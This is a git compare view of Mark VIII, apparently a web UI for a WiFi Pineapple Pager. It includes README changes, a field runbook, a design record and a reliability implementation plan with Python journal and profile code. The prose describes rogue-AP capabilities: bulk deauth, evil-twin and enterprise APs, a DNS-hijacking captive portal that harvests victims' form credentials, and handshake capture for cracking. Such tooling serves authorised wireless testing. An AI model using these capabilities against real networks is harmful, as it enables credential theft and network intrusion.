Compare commits
48
Commits
86d26d8457
...
main
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
18bd6e3f9a | ||
|
|
e683691a53 | ||
|
|
ab92e7d278 | ||
|
|
0f31bfe885 | ||
|
|
d23ea56364 | ||
|
|
88d7141d45 | ||
|
|
f9eccd8030 | ||
|
|
ed50cd7b5a | ||
|
|
a04319dfc8 | ||
|
|
e316450271 | ||
|
|
2ef07a28fc | ||
|
|
501fa455ce | ||
|
|
132cf4d77a | ||
|
|
712d381093 | ||
|
|
107cf17611 | ||
|
|
a1b449c9be | ||
|
|
6b84665347 | ||
|
|
92a2a6d8ee | ||
|
|
55d4beb9d4 | ||
|
|
1133068a09 | ||
|
|
23ca901e82 | ||
|
|
b9a64c6560 | ||
|
|
5625310977 | ||
|
|
61c929d891 | ||
|
|
60db235f0b | ||
|
|
b25c98b7c7 | ||
|
|
ba3e1b1ae0 | ||
|
|
027646c905 | ||
|
|
eae47d99bf | ||
|
|
d954b6e90d | ||
|
|
25bae3b4a2 | ||
|
|
63528ff794 | ||
|
|
1bb15de258 | ||
|
|
aba08e36c7 | ||
|
|
4c1144ab32 | ||
|
|
bace45d6e4 | ||
|
|
15cd3c5eb8 | ||
|
|
78aab64af0 | ||
|
|
a008bb9167 | ||
|
|
7a27218149 | ||
|
|
e329fd2a1c | ||
|
|
7d1eb62d75 | ||
|
|
a05754f908 | ||
|
|
88e6471820 | ||
|
|
1d17704f72 | ||
|
|
496f7c58e3 | ||
|
|
2c24107f42 | ||
|
|
4b03ecb1fd |
@@ -6,3 +6,4 @@ __pycache__/
|
|||||||
.openchamber/
|
.openchamber/
|
||||||
.opencode/
|
.opencode/
|
||||||
|
|
||||||
|
evidence/
|
||||||
|
|||||||
@@ -6,7 +6,9 @@ A Mark VII-style web management UI that runs **on the WiFi Pineapple Pager** at
|
|||||||
Features: Dashboard (live), PineAP (settings, SSID pool, filters, clients/kick),
|
Features: Dashboard (live), PineAP (settings, SSID pool, filters, clients/kick),
|
||||||
Recon (scans from `recon.db`), Handshakes/Loot, Payloads (embedded stock Pager
|
Recon (scans from `recon.db`), Handshakes/Loot, Payloads (embedded stock Pager
|
||||||
Portal), Logs, Settings (hostname/NTP/password/prefs), and a bottom-docked xterm
|
Portal), Logs, Settings (hostname/NTP/password/prefs), and a bottom-docked xterm
|
||||||
terminal.
|
terminal. Recon AP focus offers bulk deauth; an Evil Portal tab imports Hak5
|
||||||
|
EvilPortalNano-format portals (`kleo/evilportals` compatible), serves them to
|
||||||
|
victims via DNS hijack on port 80, and captures form credentials.
|
||||||
|
|
||||||
- Rogue AP on the second radio (5GHz / 6GHz Wi-Fi 6E): Open AP and Evil WPA
|
- Rogue AP on the second radio (5GHz / 6GHz Wi-Fi 6E): Open AP and Evil WPA
|
||||||
(WPA2-PSK/WPA3-SAE/WPA3-OWE) on `radio1`, band-aware channel pickers,
|
(WPA2-PSK/WPA3-SAE/WPA3-OWE) on `radio1`, band-aware channel pickers,
|
||||||
@@ -111,6 +113,44 @@ terminal I/O, and reboot persistence.
|
|||||||
|
|
||||||
## Stability notes (Pager 24.10.1)
|
## Stability notes (Pager 24.10.1)
|
||||||
|
|
||||||
|
### Reliability Core (v1.4.0)
|
||||||
|
|
||||||
|
The factory `/etc/config/pineapd` ships every crash source below enabled, so
|
||||||
|
guards that only live inside Mark VIII revert on every reset/upgrade. v1.4.0
|
||||||
|
makes the fixes structural (payload-only — no firmware changes):
|
||||||
|
|
||||||
|
- **Boot guard** (`mk8-guard`, START=49): enforces the known-good UCI set
|
||||||
|
before the S50 pineapple stack starts; idempotent, diff-only commits,
|
||||||
|
logged to `/tmp/mk8-guard.log` and the event journal.
|
||||||
|
- **Profiles + rollback watchdogs**: every risky operation (AP deploy,
|
||||||
|
client-mode change, profile restore) first snapshots UCI under
|
||||||
|
`/mmc/mk8/profiles/`, then spawns a detached watchdog probing *local*
|
||||||
|
liveness (`127.0.0.1:8080` + monitor presence). Sustained failure →
|
||||||
|
automatic snapshot restore + `wifi reload`; recovery → promotes
|
||||||
|
`lastknown-good`. Watchdogs self-exit after 120 quiet ticks.
|
||||||
|
- **RF plan**: phy0 is always 2.4GHz ops; phy1 role-switches
|
||||||
|
uplink/attack/idle (`POST /api/rfplan/role`). The uplink STA lives on
|
||||||
|
radio1, so client-mode no longer blinds 2.4GHz recon. Hop governance
|
||||||
|
belongs to the role manager, not the boot guard.
|
||||||
|
- **Supervisor**: passive sampler (pidof/iw//proc only — never pineapd's
|
||||||
|
socket), bounded JSONL journal at `/mmc/mk8/events.log`, boot-marker
|
||||||
|
unexpected-reboot detection, memory watermark alerts. Dashboard shows
|
||||||
|
events feed + reliability counters + guard sync chip.
|
||||||
|
- **Atomic deploys**: `scripts/deploy.sh` stamps `VERSION` into build
|
||||||
|
copies only, sha256-verifies the upload, swaps `/mmc/mk8/releases/<ts>`
|
||||||
|
with a `current` symlink, polls local health, and auto-rolls back to the
|
||||||
|
previous release on failure.
|
||||||
|
- **Smoke suite**: `scripts/smoke.sh` on-device (read-only checks always;
|
||||||
|
`--write` adds reconcile/watchdog drills; `SMOKE_UPLINK_SSID=...` enables
|
||||||
|
the RF-role drill). All checks verified against live hardware including
|
||||||
|
reboot persistence.
|
||||||
|
|
||||||
|
Persistent state lives in `/mmc/mk8/` and survives reboots *and* firmware
|
||||||
|
upgrades (overlay wipes). A pre-reliability config backup is captured at
|
||||||
|
first deploy.
|
||||||
|
|
||||||
|
### pineapd crash sources found and fixed on this firmware
|
||||||
|
|
||||||
pineapd crash sources found and fixed on this firmware (verified on-device,
|
pineapd crash sources found and fixed on this firmware (verified on-device,
|
||||||
zero crashes over sustained watches):
|
zero crashes over sustained watches):
|
||||||
|
|
||||||
@@ -129,6 +169,34 @@ zero crashes over sustained watches):
|
|||||||
`GET /api/health` reports pineapd/monitor state; the top bar shows a
|
`GET /api/health` reports pineapd/monitor state; the top bar shows a
|
||||||
PINEAP OK / POOL OFF / PINEAPD DOWN chip.
|
PINEAP OK / POOL OFF / PINEAPD DOWN chip.
|
||||||
|
|
||||||
|
### Live validation findings (v1.4.x, Pager 24.10.1)
|
||||||
|
|
||||||
|
Fixed after an on-hardware attack validation pass:
|
||||||
|
|
||||||
|
1. **Evil Portal import** no longer uses `zipfile` (pulls
|
||||||
|
`pathlib → urllib`, absent from python3-light). A minimal
|
||||||
|
`struct`+`zlib` ZIP reader handles stored/deflate entries.
|
||||||
|
2. **Portal DNS hijack** now uses `uci add_list/del_list`
|
||||||
|
(`dhcp.@dnsmasq[0].address` is a list option; a plain `uci set` was
|
||||||
|
silently dropped from the generated dnsmasq config).
|
||||||
|
3. **5 GHz attack APs are bridged** into `br-lan`
|
||||||
|
(`network.brlan.ports`) so victims get DHCP/portal reach; the
|
||||||
|
standalone enterprise AP (`wlan1ent`) is runtime-bridged after its
|
||||||
|
hostapd instance verifies ENABLED (the retry loop may recreate it).
|
||||||
|
4. **5 GHz WPA deploys auto-start a pinned `wlan1mon` capture** and the
|
||||||
|
matching stop tears it down: loot flows via pcap → `.hc22000` export
|
||||||
|
instead of the dead daemon path below.
|
||||||
|
|
||||||
|
Residual firmware limitation (not fixable in-process): pineapd refuses
|
||||||
|
handshake/PineAPE forwarding from hostapd instances it did not provision
|
||||||
|
itself (`PINEAP: could not send ... Broken pipe`), and the stock daemon's
|
||||||
|
`set_ap` rejects radio1 interface names ("Invalid access point
|
||||||
|
interface"). Consequences: `hostap_handshake` rows never populate for
|
||||||
|
radio1 evil twins (use the auto-capture + `.hc22000` export, which is
|
||||||
|
crack-verified end-to-end), and enterprise credentials never reach
|
||||||
|
`hostap_basic`/`hostap_chalresp` even though the AP terminates
|
||||||
|
PEAP/MSCHAPv2 successfully. Fixing these requires a Hak5 pineapd change.
|
||||||
|
|
||||||
## Security notes
|
## Security notes
|
||||||
|
|
||||||
- Auth via device password validated against the daemon; HttpOnly session
|
- Auth via device password validated against the daemon; HttpOnly session
|
||||||
|
|||||||
@@ -0,0 +1,93 @@
|
|||||||
|
# Mark VIII Field Runbook
|
||||||
|
|
||||||
|
Operational procedures for running Mark VIII v1.4.0+ on a WiFi Pineapple
|
||||||
|
Pager. The reliability subsystem is documented in the README; this file is
|
||||||
|
the how-to-run-it companion.
|
||||||
|
|
||||||
|
## Pre-engagement checklist (2 minutes)
|
||||||
|
|
||||||
|
From the Dashboard health panel (or `scripts/smoke.sh` over SSH):
|
||||||
|
|
||||||
|
- [ ] Health chip green; guard chip shows `GUARD OK` (not PENDING).
|
||||||
|
- [ ] Both monitors present (`wlan0mon`, `wlan1mon`).
|
||||||
|
- [ ] Reliability counters sane: no unexpected boots since last check;
|
||||||
|
rollbacks/restarts at expected values.
|
||||||
|
- [ ] Recent events feed shows a clean `boot` entry for this session.
|
||||||
|
- [ ] RF plan as intended: `PHY0: OPS`, `PHY1:` in the state you want.
|
||||||
|
|
||||||
|
If anything fails: run `sh /tmp/smoke.sh` (re-upload via
|
||||||
|
`scp scripts/smoke.sh root@<ip>:/tmp/` if tmpfs was cleared) and read
|
||||||
|
which check fails before deploying to a target environment.
|
||||||
|
|
||||||
|
## During an engagement
|
||||||
|
|
||||||
|
- **Prefer phy1 for any uplink** (`POST /api/rfplan/role {"role":"uplink",
|
||||||
|
"ssid":...,"psk":...}`). phy0 stays fully hoppable for 2.4 GHz work.
|
||||||
|
Expect 5 GHz recon limited to the uplink's channel while associated.
|
||||||
|
- **Switching back**: `{"role":"attack"}` tears the STA down with a gated
|
||||||
|
reload; verify the RF chip flips and wlan1mon hops again.
|
||||||
|
- **Watch the events feed.** Occasional `guard_fix` entries are the
|
||||||
|
supervisor healing stock-daemon regressions (STA re-parks, UCI
|
||||||
|
re-applies) — normal. A stream of them means the stock UI is fighting
|
||||||
|
you: stop touching the stock PineAP page mid-engagement.
|
||||||
|
- **Rollback watchdogs** arm around risky operations. If the web UI dies
|
||||||
|
after an operation, wait ~60 s: the watchdog restores the pre-op snapshot
|
||||||
|
automatically or promotes the change once healthy. Do NOT power-cycle
|
||||||
|
before that window passes.
|
||||||
|
- **Never** hand-edit `/etc/config/pineapd` mid-engagement; use Mark VIII
|
||||||
|
endpoints. Hand edits race the stock daemon and the reconciler.
|
||||||
|
|
||||||
|
## After an engagement
|
||||||
|
|
||||||
|
1. Stop attacks and switch phy1 to `idle`.
|
||||||
|
2. Export loot (Handshakes export, HTML/CSV reports). Loot lives under
|
||||||
|
`/root/loot/**` and survives reboots — pull it off-box anyway.
|
||||||
|
3. Save a profile (Settings → Reliability), e.g. `post-<site>-<date>`.
|
||||||
|
4. Skim events for `rollback` / `mem_warn` entries worth noting.
|
||||||
|
|
||||||
|
## Recovery procedures
|
||||||
|
|
||||||
|
### Web UI unreachable but device seems alive
|
||||||
|
|
||||||
|
Wait 60 s — a rollback watchdog may be mid-restore. Then SSH:
|
||||||
|
|
||||||
|
curl -fsS http://127.0.0.1:8080/ >/dev/null && echo up
|
||||||
|
|
||||||
|
If still down, check whether a watchdog is running (`ps | grep watchdog`)
|
||||||
|
and let it finish; if it already rolled back but the UI did not return,
|
||||||
|
restart the service: `/etc/init.d/pagerwebui start`.
|
||||||
|
|
||||||
|
### Roll everything back to a known-good state
|
||||||
|
|
||||||
|
Settings → Reliability → restore `lastknown-good` (auto-captured whenever
|
||||||
|
the system has been healthy for 5 minutes), or over SSH:
|
||||||
|
|
||||||
|
python3 /mmc/mk8/releases/current/user/remote_access/pager-webui/server.py \
|
||||||
|
--rollback-snapshot lastknown-good
|
||||||
|
|
||||||
|
### After a firmware upgrade or factory reset
|
||||||
|
|
||||||
|
The overlay is wiped; Mark VIII is gone but `/mmc/mk8/` (profiles,
|
||||||
|
journal, releases) survives. Reinstall:
|
||||||
|
|
||||||
|
./scripts/deploy.sh --password '<device password>'
|
||||||
|
|
||||||
|
The deploy re-installs mk8-guard + service from your release; profiles and
|
||||||
|
history are still there. Verify with `sh /tmp/smoke.sh`.
|
||||||
|
|
||||||
|
### Device totally unreachable
|
||||||
|
|
||||||
|
Power cycle. On boot, mk8-guard re-applies safe PineAP UCI before pineapd
|
||||||
|
starts, so the device comes back crash-free even if the stock daemon had
|
||||||
|
been left in a bad state. If SSH is still refused after full boot, use the
|
||||||
|
Hak5 first-boot recovery for the firmware image you are on.
|
||||||
|
|
||||||
|
## Known limitations
|
||||||
|
|
||||||
|
- Role drill in smoke needs a real AP: `SMOKE_UPLINK_SSID=... [--write]`.
|
||||||
|
- While phy1 carries an uplink, 5 GHz recon sees only that channel
|
||||||
|
(radio physics, not a bug).
|
||||||
|
- Idle monitors park on one channel between scans; hopping resumes during
|
||||||
|
recon scans (verified: ch48 -> ch157 -> ch40).
|
||||||
|
- Journal is capped at 4 x 5 MB on /mmc; counters read the newest ~5000
|
||||||
|
entries.
|
||||||
@@ -0,0 +1,59 @@
|
|||||||
|
# Dashboard RAM Usage Card — Design Record
|
||||||
|
|
||||||
|
- **Date:** 2026-08-24
|
||||||
|
- **Status:** Approved (design review), implementation pending
|
||||||
|
- **Scope:** Mark VIII WebUI dashboard — add a RAM Usage status card between
|
||||||
|
Disk Usage and Uptime, showing memory used / total in the same format as the
|
||||||
|
Disk Usage card.
|
||||||
|
|
||||||
|
## 1. Goal
|
||||||
|
|
||||||
|
The dashboard (`/` → Dashboard) currently shows status cards for Clients
|
||||||
|
Connected, Handshakes Captured, Disk Usage, and Uptime. Add a RAM Usage card
|
||||||
|
positioned after Disk Usage and before Uptime, displaying `used / total` (e.g.
|
||||||
|
`120 MB / 256 MB`) to match the Disk Usage card's presentation. The Pager is a
|
||||||
|
`ramips/mt76x8` device with 256 MB RAM.
|
||||||
|
|
||||||
|
## 2. Data source
|
||||||
|
|
||||||
|
The device's memory stats come from `/proc/meminfo` (available locally, since
|
||||||
|
the webui server runs on the Pager):
|
||||||
|
|
||||||
|
- `MemTotal` — total RAM in kB
|
||||||
|
- `MemAvailable` — available RAM in kB (falls back to `MemFree`)
|
||||||
|
|
||||||
|
`used = MemTotal - MemAvailable`, matching how `free` reports usage on OpenWRT.
|
||||||
|
|
||||||
|
The health check already parses this file via `_mem_percent()` (`server.py`)
|
||||||
|
but only exposes a percentage. The status endpoint has no memory field today.
|
||||||
|
|
||||||
|
## 3. Changes
|
||||||
|
|
||||||
|
### Backend — `payload/user/remote_access/pager-webui/server.py`
|
||||||
|
|
||||||
|
- Add `mem_data()`: parse `/proc/meminfo`, return
|
||||||
|
`{'size': total_bytes, 'used': used_bytes, 'avail': avail_bytes}` — the same
|
||||||
|
shape as `disk_data()` (which returns `{size, used, avail}` in bytes).
|
||||||
|
Return `{}` on parse failure, consistent with `disk_data()`.
|
||||||
|
- Wire into `status_data()` as `'mem': mem_data()`.
|
||||||
|
|
||||||
|
### Frontend — `payload/user/remote_access/pager-webui/www/js/views.js`
|
||||||
|
|
||||||
|
- Add `['mem', 'RAM Usage']` to the card `defs` array between
|
||||||
|
`['disk', 'Disk Usage']` and `['uptime', 'Uptime']` (dashboard view).
|
||||||
|
- In the status `update()` handler, render
|
||||||
|
`fmtBytes(s.mem.used) + ' / ' + fmtBytes(s.mem.size)`; on missing data show
|
||||||
|
`Unavailable`; in the initial-load catch path set `—`, mirroring the disk
|
||||||
|
card's error handling.
|
||||||
|
|
||||||
|
### Tests — `tests/test_status.py`
|
||||||
|
|
||||||
|
- Add `mem_data()` parse test using a temp fake `/proc/meminfo` file
|
||||||
|
(the function takes an optional path argument, like `battery_data(base)`).
|
||||||
|
- Add `mem` to the `h_status` payload-shape key assertion.
|
||||||
|
|
||||||
|
## 4. Non-goals
|
||||||
|
|
||||||
|
- No memory graph/history — the Clients chart stays as is.
|
||||||
|
- No RAM percentage formatting on the card.
|
||||||
|
- No changes to the `/api/health` `mem_percent` metric.
|
||||||
@@ -0,0 +1,983 @@
|
|||||||
|
# Mark VIII Reliability Core Implementation Plan
|
||||||
|
|
||||||
|
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
|
||||||
|
|
||||||
|
**Goal:** Make the Pager run reliably and consistently as expected via payload-only hardening: boot-time guard, config profiles with rollback watchdogs, RF role manager (uplink on phy1), integrated supervisor with event journal, atomic deploys, and an on-device smoke suite.
|
||||||
|
|
||||||
|
**Architecture:** Three layers inside the existing payload — `mk8-guard` init script (START=49, before the S50 pineapple stack), new `mk8_*.py` stdlib modules imported by `server.py`, and a passive supervisor thread extending the existing health monitor. Persistent state in `/mmc/mk8/` (survives reboots and overlay wipes).
|
||||||
|
|
||||||
|
**Tech Stack:** Python 3 stdlib only (`python3-light` on device: no urllib/http.server/sqlite3 modules), POSIX sh for device scripts, vanilla JS frontend, Bash + sshpass/scp for deploy tooling.
|
||||||
|
|
||||||
|
## Global Constraints
|
||||||
|
|
||||||
|
- Spec: `docs/superpowers/specs/2026-08-22-reliability-core-design.md` (approved).
|
||||||
|
- Device constraints: python3-light stdlib only; BusyBox (no `pkill`; use `killall`/`pidof`); never actively ping pineapd's command socket from loops; never run `wifi reload` outside gated operations.
|
||||||
|
- All persistent state under `/mmc/mk8/`. No writes to stock binaries or `/etc/config` outside reconciler/gated ops.
|
||||||
|
- Tests: stdlib `unittest`, one module per process (tests monkeypatch module state); run pattern:
|
||||||
|
`python3 -m unittest tests.test_<name> -v`
|
||||||
|
- Frontend checks: `node --check <file>` after every JS edit.
|
||||||
|
- Device access is **read-only until Task 10** (deploy + smoke). Password auth via `sshpass -p '<pw>' ssh -o StrictHostKeyChecking=no root@172.16.52.1`.
|
||||||
|
- Branch: `feature/reliability`. Commit after every passing step.
|
||||||
|
- Version: single-source `VERSION` file at repo root; next version `1.4.0`.
|
||||||
|
|
||||||
|
## File Structure
|
||||||
|
|
||||||
|
```
|
||||||
|
payload/user/remote_access/pager-webui/
|
||||||
|
mk8_events.py NEW event journal (JSONL append/rotate/read + counters)
|
||||||
|
mk8_profiles.py NEW UCI snapshot store (/mmc/mk8/profiles)
|
||||||
|
mk8_guard.py NEW known-good invariants + reconcile() + CLI hooks
|
||||||
|
mk8_rfplan.py NEW phy1 RF role manager (uplink/attack/idle)
|
||||||
|
mk8_gate.py NEW risky-op preflight gate + watchdog decision logic
|
||||||
|
mk8-watchdog.sh NEW detached local-liveness rollback watchdog
|
||||||
|
mk8-guard.init NEW START=49 boot guard script (installed to /etc/init.d/mk8-guard)
|
||||||
|
server.py MOD imports, startup hook, h_health extension, /api/reliability/* + /api/rfplan/* routes, gates on risky handlers
|
||||||
|
www/js/views.js MOD health events feed, reliability counters, RF chip, Settings profiles card
|
||||||
|
www/js/app.js MOD nav wiring if needed
|
||||||
|
www/css/app.css MOD styles for new UI elements
|
||||||
|
scripts/deploy.sh MOD VERSION stamping, atomic release swap, post-deploy check, guard install
|
||||||
|
scripts/smoke.sh NEW on-device verification suite
|
||||||
|
VERSION NEW "1.4.0"
|
||||||
|
tests/test_mk8_events.py, test_mk8_profiles.py, test_mk8_guard.py,
|
||||||
|
tests/test_mk8_gate.py, test_mk8_rfplan.py, test_reliability_api.py NEW
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Task 1: Event journal (`mk8_events.py`)
|
||||||
|
|
||||||
|
**Files:**
|
||||||
|
- Create: `payload/user/remote_access/pager-webui/mk8_events.py`
|
||||||
|
- Test: `tests/test_mk8_events.py`
|
||||||
|
|
||||||
|
**Interfaces:**
|
||||||
|
- Produces: `log_event(kind, sev='info', msg='', meta=None)`; `read_events(limit=100)` → list of dicts newest-first; `counters()` → dict with keys `boots`, `unexpected_boots`, `rollbacks`, `restarts`, `guard_fixes`; `mark_boot()`; constants `MK8_DIR='/mmc/mk8'`, `EVENTS_PATH`, `MAX_BYTES=5*1024*1024`, `KEEP=4`.
|
||||||
|
|
||||||
|
- [ ] **Step 1: Write failing tests**
|
||||||
|
|
||||||
|
```python
|
||||||
|
import json, os, sys, tempfile, unittest
|
||||||
|
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
||||||
|
import mk8_events
|
||||||
|
|
||||||
|
class EventsTest(unittest.TestCase):
|
||||||
|
def setUp(self):
|
||||||
|
self.dir = tempfile.mkdtemp()
|
||||||
|
self.old = mk8_events.MK8_DIR
|
||||||
|
mk8_events.MK8_DIR = self.dir
|
||||||
|
mk8_events.EVENTS_PATH = os.path.join(self.dir, 'events.log')
|
||||||
|
|
||||||
|
def tearDown(self):
|
||||||
|
mk8_events.MK8_DIR = self.old
|
||||||
|
|
||||||
|
def test_log_and_read_newest_first(self):
|
||||||
|
mk8_events.log_event('boot', msg='first')
|
||||||
|
mk8_events.log_event('rollback', sev='warn', msg='second', meta={'op': 'wifi'})
|
||||||
|
rows = mk8_events.read_events()
|
||||||
|
self.assertEqual(rows[0]['kind'], 'rollback')
|
||||||
|
self.assertEqual(rows[1]['kind'], 'boot')
|
||||||
|
self.assertEqual(rows[0]['meta'], {'op': 'wifi'})
|
||||||
|
|
||||||
|
def test_counters(self):
|
||||||
|
mk8_events.log_event('boot'); mk8_events.log_event('rollback')
|
||||||
|
mk8_events.log_event('restart'); mk8_events.log_event('guard_fix')
|
||||||
|
c = mk8_events.counters()
|
||||||
|
self.assertEqual(c['boots'], 1)
|
||||||
|
self.assertEqual(c['rollbacks'], 1)
|
||||||
|
self.assertEqual(c['restarts'], 1)
|
||||||
|
self.assertEqual(c['guard_fixes'], 1)
|
||||||
|
|
||||||
|
def test_rotation_keeps_recent(self):
|
||||||
|
mk8_events.MAX_BYTES = 200
|
||||||
|
for i in range(20):
|
||||||
|
mk8_events.log_event('tick', msg='x' * 30)
|
||||||
|
self.assertTrue(len(mk8_events.read_events()) >= 15)
|
||||||
|
self.assertFalse(os.path.exists(mk8_events.EVENTS_PATH + '.4'))
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
unittest.main()
|
||||||
|
```
|
||||||
|
|
||||||
|
- [ ] **Step 2: Run to verify failure**
|
||||||
|
|
||||||
|
Run: `python3 -m unittest tests.test_mk8_events -v`
|
||||||
|
Expected: FAIL — `No module named 'mk8_events'`
|
||||||
|
|
||||||
|
- [ ] **Step 3: Implement**
|
||||||
|
|
||||||
|
```python
|
||||||
|
"""Mark VIII reliability event journal. JSONL on /mmc, rotated."""
|
||||||
|
import json, os, threading
|
||||||
|
|
||||||
|
MK8_DIR = '/mmc/mk8'
|
||||||
|
EVENTS_PATH = os.path.join(MK8_DIR, 'events.log')
|
||||||
|
MAX_BYTES = 5 * 1024 * 1024
|
||||||
|
KEEP = 4
|
||||||
|
_LOCK = threading.Lock()
|
||||||
|
|
||||||
|
COUNTER_KINDS = ('boot', 'unexpected_boot', 'rollback', 'restart',
|
||||||
|
'guard_fix')
|
||||||
|
|
||||||
|
|
||||||
|
def _ensure_dir():
|
||||||
|
try:
|
||||||
|
os.makedirs(MK8_DIR, exist_ok=True)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def log_event(kind, sev='info', msg='', meta=None):
|
||||||
|
entry = {'ts': int(__import__('time').time()), 'kind': str(kind),
|
||||||
|
'sev': sev, 'msg': msg[:500]}
|
||||||
|
if meta:
|
||||||
|
entry['meta'] = meta
|
||||||
|
line = json.dumps(entry) + '\n'
|
||||||
|
with _LOCK:
|
||||||
|
_ensure_dir()
|
||||||
|
try:
|
||||||
|
if os.path.exists(EVENTS_PATH) and \
|
||||||
|
os.path.getsize(EVENTS_PATH) > MAX_BYTES:
|
||||||
|
for i in range(KEEP - 1, 0, -1):
|
||||||
|
src = '%s.%d' % (EVENTS_PATH, i)
|
||||||
|
dst = '%s.%d' % (EVENTS_PATH, i + 1)
|
||||||
|
if os.path.exists(src):
|
||||||
|
os.replace(src, dst)
|
||||||
|
if os.path.exists(EVENTS_PATH):
|
||||||
|
os.replace(EVENTS_PATH, EVENTS_PATH + '.1')
|
||||||
|
with open(EVENTS_PATH, 'a') as f:
|
||||||
|
f.write(line)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def read_events(limit=100):
|
||||||
|
out = []
|
||||||
|
paths = [EVENTS_PATH + '.%d' % i for i in range(KEEP, 0, -1)]
|
||||||
|
paths.append(EVENTS_PATH)
|
||||||
|
for path in paths:
|
||||||
|
try:
|
||||||
|
with open(path) as f:
|
||||||
|
out.extend(json.loads(l) for l in f if l.strip())
|
||||||
|
except (OSError, ValueError):
|
||||||
|
continue
|
||||||
|
out.sort(key=lambda r: r.get('ts', 0))
|
||||||
|
return out[-limit:][::-1]
|
||||||
|
|
||||||
|
|
||||||
|
def counters():
|
||||||
|
counts = {k: 0 for k in COUNTER_KINDS}
|
||||||
|
for row in read_events(limit=5000):
|
||||||
|
k = row.get('kind')
|
||||||
|
if k in counts:
|
||||||
|
counts[k] += 1
|
||||||
|
return counts
|
||||||
|
|
||||||
|
|
||||||
|
def mark_boot(unexpected=False):
|
||||||
|
log_event('unexpected_boot' if unexpected else 'boot', sev='warn'
|
||||||
|
if unexpected else 'info',
|
||||||
|
msg='service started' + ('' if unexpected else ' cleanly'))
|
||||||
|
```
|
||||||
|
|
||||||
|
- [ ] **Step 4: Run tests to pass**
|
||||||
|
|
||||||
|
Run: `python3 -m unittest tests.test_mk8_events -v` → PASS
|
||||||
|
|
||||||
|
- [ ] **Step 5: Commit**
|
||||||
|
|
||||||
|
```bash
|
||||||
|
git add payload/user/remote_access/pager-webui/mk8_events.py tests/test_mk8_events.py
|
||||||
|
git commit -m "feat(reliability): JSONL event journal with rotation and counters"
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Task 2: Profile store (`mk8_profiles.py`)
|
||||||
|
|
||||||
|
**Files:**
|
||||||
|
- Create: `payload/user/remote_access/pager-webui/mk8_profiles.py`
|
||||||
|
- Test: `tests/test_mk8_profiles.py`
|
||||||
|
|
||||||
|
**Interfaces:**
|
||||||
|
- Consumes: nothing.
|
||||||
|
- Produces: `snapshot(name)` → bool; `list_profiles()` → list of names; `restore(name)` → dict `{ok, restored:[...]}`; `auto_name(op)` → `'pre-<op>-<ts>'`; `promote_lastknown_good()`; `delete(name)`; uses `device_run` injected as module attr `run_cmd(args, timeout=20)` defaulting to `server.device_run` lazily (avoids import cycle: define own `_run` that callers/tests monkeypatch).
|
||||||
|
|
||||||
|
- [ ] **Step 1: Failing tests**
|
||||||
|
|
||||||
|
```python
|
||||||
|
import os, sys, tempfile, unittest
|
||||||
|
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
||||||
|
import mk8_profiles
|
||||||
|
|
||||||
|
CONFIGS = ('pineapd', 'wireless', 'network')
|
||||||
|
|
||||||
|
class ProfilesTest(unittest.TestCase):
|
||||||
|
def setUp(self):
|
||||||
|
self.dir = tempfile.mkdtemp()
|
||||||
|
mk8_profiles.PROFILES_DIR = os.path.join(self.dir, 'profiles')
|
||||||
|
self.state = {'pineapd': 'config pineapd\n\toption x y\n',
|
||||||
|
'wireless': 'config wireless\n', 'network': ''}
|
||||||
|
def fake_run(args, timeout=20):
|
||||||
|
a = list(args)
|
||||||
|
if a[:2] == ['uci', 'export']:
|
||||||
|
return (0, self.state.get(a[2], ''), '')
|
||||||
|
if a[:2] == ['uci', 'import'] or a[:2] == ['uci', 'commit']:
|
||||||
|
return (0, '', '')
|
||||||
|
return (0, '', '')
|
||||||
|
self.runs = []
|
||||||
|
mk8_profiles.run_cmd = lambda args, timeout=20: (
|
||||||
|
self.runs.append(list(args)) or fake_run(args, timeout))
|
||||||
|
|
||||||
|
def test_snapshot_and_list(self):
|
||||||
|
self.assertTrue(mk8_profiles.snapshot('testprof'))
|
||||||
|
self.assertIn('testprof', mk8_profiles.list_profiles())
|
||||||
|
|
||||||
|
def test_restore_issues_import_per_config(self):
|
||||||
|
mk8_profiles.snapshot('p1')
|
||||||
|
ok = mk8_profiles.restore('p1')
|
||||||
|
self.assertTrue(ok['ok'])
|
||||||
|
imported = [r for r in self.runs if r[:2] == ['uci', 'import']]
|
||||||
|
self.assertEqual(len(imported), len(CONFIGS))
|
||||||
|
commits = [r for r in self.runs if r[:2] == ['uci', 'commit']]
|
||||||
|
self.assertGreaterEqual(len(commits), 1)
|
||||||
|
|
||||||
|
def test_auto_name_format(self):
|
||||||
|
name = mk8_profiles.auto_name('client_connect')
|
||||||
|
self.assertTrue(name.startswith('pre-client_connect-'))
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
unittest.main()
|
||||||
|
```
|
||||||
|
|
||||||
|
- [ ] **Step 2: Verify failure** — `No module named 'mk8_profiles'`
|
||||||
|
|
||||||
|
- [ ] **Step 3: Implement**
|
||||||
|
|
||||||
|
```python
|
||||||
|
"""UCI profile snapshots under /mmc/mk8/profiles/<name>/{pineapd,wireless,network}"""
|
||||||
|
import os, time
|
||||||
|
|
||||||
|
PROFILES_DIR = '/mmc/mk8/profiles'
|
||||||
|
CONFIGS = ('pineapd', 'wireless', 'network')
|
||||||
|
|
||||||
|
|
||||||
|
def run_cmd(args, timeout=20):
|
||||||
|
"""Lazy import avoids a circular import with server.py; tests monkeypatch."""
|
||||||
|
from server import device_run
|
||||||
|
return device_run(args, timeout=timeout)
|
||||||
|
|
||||||
|
|
||||||
|
def _path(name):
|
||||||
|
return os.path.join(PROFILES_DIR, name)
|
||||||
|
|
||||||
|
|
||||||
|
def snapshot(name):
|
||||||
|
dest = _path(name)
|
||||||
|
try:
|
||||||
|
os.makedirs(dest, exist_ok=True)
|
||||||
|
wrote = False
|
||||||
|
for cfg in CONFIGS:
|
||||||
|
